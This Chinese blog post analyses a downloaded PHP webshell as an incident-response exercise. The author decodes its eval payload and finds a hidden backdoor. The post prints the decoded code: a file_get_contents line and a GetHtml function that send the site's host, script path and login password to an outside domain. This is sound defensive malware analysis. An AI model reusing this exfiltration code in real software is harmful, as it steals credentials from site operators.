5-Web安全——php木马后门分析(入侵溯源)
由于最近在学习入侵溯源和应急响应这块的知识,本着先理论再实践的原则,应用现有所学的知识自己动手分析一个php大马。先随便从网上下载一个php大马,扔到虚拟机里打开,得到如下信息:看到上面有一大串乱码一样的字符串是不是头都到了,不要慌,我们一步一步分析。简单的说一下,其实第二行的password是php大马的登录密码,重点在第7行的eval函数。可以看到eval函数中一大串字符串先是进行base64
由于最近在学习入侵溯源和应急响应这块的知识,本着先理论再实践的原则,应用现有所学的知识自己动手分析一个php大马。
先随便从网上下载一个php大马,扔到虚拟机里打开,得到如下信息:
看到上面有一大串乱码一样的字符串是不是头都大了,不要慌,我们一步一步分析。
简单的说一下,其实第二行的password是php大马的登录密码,重点在第7行的eval函数。可以看到eval函数中一大串字符串先是进行base64解密,然后又调用了gzinflate解压缩编码,我们将eval函数改为echo函数将gzinflate函数的内容输出。
burpsuite抓包工具进行抓包,右键send to Repeater再转发:
把Response包中的内容右键copy to file复制到webshell.php文件。
最终解密后的webshell.php文件内容如下:
从第9行开始往下的php代码都是eval函数中的字符串解密后的真实内容。
从第10行代码开始分析:
@file_get_contents(base64_decode('aHR0cDovLzQ1Njc3Nzg5LmNvbS8/aG09').urlencode(base64_decode('aHR0cDovLw==').$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."||".$password)."&bz=php");
乍一看这段代码没什么危害,其实这里有几点非常可疑,首先可以看到file_get_contents中对两个“神秘”的字符串进行了base64加密,$_SERVER获取了HTTP_HOST和PHP_SELF(即我们机器的ip地址和当前执行脚本的文件名),还拼接了password和一个参数。
用burpsuite对这两个字符串进行base64解密,看看这两个字符串到底隐藏着什么玄机
将解密后的字符串,ip地址,当前执行脚本路径,密码这些信息拼接会得到一个url链接:
http://45677789.com/?hm=http://www.test.com/webshell/webshell.php||admin&bz=php
基本可以确定这个php大马存在后门的,这个url链接的hm参数会把本地机器的脚本路径和密码传到45677789.com目标服务器上。
并且file_get_contents函数写入的url会被设置到php_errormsg变量中
我们来分析木马的行为,话不多说,先找到login登录函数:
首先这里会判断是否登录,如果登录则调用hmlogin函数,没有则调用islogin函数返回登录页面进行登录。
此时在登录页面输入admin进行登录:
输入密码后登录后调用hmlogin函数,继续分析hmlogin函数:
hm函数主要是设置cookie,script标签中的src属性会发二次请求调用geturl函数
if(isset($_GET['login'])=='geturl'){
@set_time_limit(10);
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = envlpass;
//这里对字符串xxxxx解密,拼接到url中
$copyurl = base64_decode('xxxxx');
$url=$copyurl.$serveru.'&p='.$serverp;
$url=urldecode($url);
//最终拼接成的url是这样的:�qwww.test.com/webshell/webshell.php&p=admin
GetHtml($url);
}
可以看到geturl函数对字符串“xxxxx”进行了base64解密,然后拼接到url中进行了解码。
然后把url作为参数传给GetHtml函数,再分析GetHtml函数
//$url = �qwww.test.com/webshell/webshell.php&p=admin
function GetHtml($url)
{
$c = '';
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
if(function_exists('fsockopen')){
$link = parse_url($url);
$query=$link['path'].'?'.$link['query'];
$host=strtolower($link['host']);
$port=$link['port'];
if($port==""){$port=80;}
$fp = fsockopen ($host,$port, $errno, $errstr, 10);
if ($fp)
{
$out = "GET /{$query} HTTP/1.0\r\n";
$out .= "Host: {$host}\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$inheader=1;
while(!feof($fp))
{$line=fgets($fp,4096);
if($inheader==0){$contents.=$line;}
if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;}
}
fclose ($fp);
$c= $contents;
}
}
if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
$c = curl_exec($ch);
curl_close($ch);
}
if(empty($c) && ini_get('allow_url_fopen')){
$c = file_get_contents($url);
}
if(empty($c)){
echo "document.write('<DIV style=\'CURSOR:url(\"$url\")\'>');";
}
if(!empty($c))
{
return $c;
}
}
parse_ur对url进行了解析,fsockopen构造http请求。
到这基本上,当输入密码登录的时候,php木马就会把本地机器的ip地址信息,执行脚本的文件路径,密码发送到对方的服务器上。
通过wireshark抓包工具看一下构造的http请求内容,在过滤器一栏过滤http包:
当点击登录后,会跟目标服务器建立tcp链接,然后会发送http请求。可以看到请求的URI的内容,进行url编码后就是php木马后门,这个后门会把我们机器的域名,木马脚本路径,密码等信息发送到对方的服务器。这也正好验证了我们之前的分析是对的。
我们可以访问一下这个后门(注意在自己的虚拟机里访问,不要在物理机访问!!!),这里由于我之前访问了太多次,对方已经把ip封掉了,换个代理就可以访问了:
php木马病毒分析到此结束。
最后劝告大家一下,网上绝大部分的php大马都带有后门,下载需谨慎,最好是下载到虚拟机里。
更多推荐
所有评论(0)